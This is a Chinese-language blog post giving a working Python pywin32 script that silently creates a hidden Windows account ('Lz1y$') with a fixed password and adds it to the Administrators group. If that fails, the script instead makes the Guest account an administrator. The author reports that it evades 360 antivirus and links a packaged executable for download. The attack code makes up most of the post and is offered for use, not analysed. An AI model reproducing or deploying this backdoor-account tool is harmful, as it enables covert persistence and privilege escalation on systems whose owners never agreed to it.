闲着没事做,尝试了一下,看先不能绕过360之类的

结果是在解释器解释的过程中,用户顺利添加了。360无任何提示

测试打包,可以绕过360….

exe下载

链接:http://pan.baidu.com/s/1hrC1WO0 密码:diim

import win32api
import win32net
import win32netcon


verbose_level = 0

server = None # Run on local machine.

def CreateUser():
    "Creates a new test user, then deletes the user"
    a = """#Author: Lz1y
#Blog:http://www.Lz1y.cn\n\n\n\n"""
    print(a)
    testName = "Lz1y$"
    try:
        win32net.NetUserDel(server, testName)
        print("Warning - deleted user before creating it!")
    except win32net.error:
        pass

    d = {}
    d['name'] = testName
    d['password'] = '[email protected]!!!'
    d['priv'] = win32netcon.USER_PRIV_USER
    d['comment'] = None
    d['flags'] = win32netcon.UF_NORMAL_ACCOUNT | win32netcon.UF_SCRIPT
    try:
        win32net.NetUserAdd(server, 1, d)
        print("CreateUser Successed!")
        print("Username is "+testName)
        LocalGroup(testName)
    except:
        print("Sorry,CreateUser Failed!")
        print("Try to Change Guest!")
        ChangeGuest()

def LocalGroup(uname=None):
    "Creates a local group, adds some members, deletes them, then removes the group"
    level = 3
    if uname is None: uname="Lz1y$"
    if uname.find("\\")<0:
        uname = win32api.GetDomainName() + "\\" + uname
    group = 'Administrators'
    try:
        u={'domainandname': uname}
        win32net.NetLocalGroupAddMembers(server, group, level, [u])
        mem, tot, res = win32net.NetLocalGroupGetMembers(server, group, level)
        print("Add to Administrators Successd!"+'\n'+"Username:Lz1y$\npassword:[email protected]!!!")
    except:
        print("Sorry,Add to Administrators Failed!")

def ChangeGuest():
    level=3
    uname="Guest"
    group = 'Administrators'
    try:
        win32net.NetUserChangePassword(None,uname,"[email protected]!!!","[email protected]!!!")
        u={'domainandname': uname}
        win32net.NetLocalGroupAddMembers(server, group, level, [u])
        mem, tot, res = win32net.NetLocalGroupGetMembers(server, group, level)
        print("Change Guest Successd!"+'\n'+"Username:Guest\npassword:[email protected]!!!")
    except:
        print("Change Guest Failed!Your priv must be System")

CreateUser()

 



本文链接地址: 【Pywin32】Python调用win32api来创建用户,提权

原创文章,转载请注明: 转载自Lz1y's Blog

10 thoughts on “【Pywin32】Python调用win32api来创建用户,提权

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.